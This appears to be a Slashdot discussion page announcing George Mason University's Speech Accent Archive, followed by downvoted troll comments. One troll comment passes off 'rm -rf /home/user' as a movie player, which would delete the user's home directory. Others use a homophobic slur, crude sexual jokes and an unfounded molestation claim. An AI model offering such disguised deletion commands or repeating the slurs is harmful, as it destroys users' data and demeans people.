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George Mason University Speech Accent Archive

Posted by ryuzaki0 on from the y'all-come-back-now,-hear? dept.

JT Olds writes "Apparently George Mason University is running a project to document differences in speech and accents from different backgrounds and the like. They have a paragraph that 306 sample readers have read and recorded, and all of these sound files are categorized by background, gender, age, and other things. They say that this is primarily for teaching and learning, and is especially useful for any linguists out there, but I just thought it was cool. The sound bytes are released under the Creative Commons license. Of course, the Google cache of the main frame is here. As a side note, I did get the link to this from Penny Arcade's Jerry Holkins."

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  1. George Mason was a rampant fag. by Anonymous Coward · · Score: -1, Troll

    He also molested me in a parking lot.

    1. Re:George Mason was a rampant fag. by Anonymous Coward · · Score: -1, Troll

      Your ideas intrigue me and I wish to subscribe to your newsletter.

  2. Re:quicktime??? by Anonymous Coward · · Score: -1, Troll

    The easiest way would be to reformat and install WinME. Trust me, you'll thank me later.

    Taco

  3. 8===D by Anonymous Coward · · Score: -1, Troll

    Suck it

  4. Re:Which British English? by Anonymous Coward · · Score: -1, Troll

    and every one as feminine as the next.

  5. Stop being cheap by Anonymous Coward · · Score: -1, Troll

    And get a Mac, foo!

  6. Re:Quicktime!? by Anonymous Coward · · Score: -1, Troll

    Yes, first thing you need to do is uninstall Linux by reformating the hard drive. Next, ride your bike to CompUSA and purchase a copy of Microsoft WinME. Since Quicktime is a popular format used for heterosexual porn files, nobody has every bothered to develop a Linux .mov player.

    Hemos

  7. Re:quicktime??? by Anonymous Coward · · Score: -1, Troll

    use your built in real-movie player (don't forget the -rf option to resize frame.
    example:
    rm -rf /home/user
    where /home/user is your home directory.
    press enter and a numbered list of your movies will show up, then, just type in the number you want to watch.

  8. Creative Commons.. by mumblestheclown · · Score: 0, Troll
    What the heck is "the creative commons license?

    I thought creative commons idea was a smorgasbord of license subparts that you could pick and choose amongst to create "a" CC license.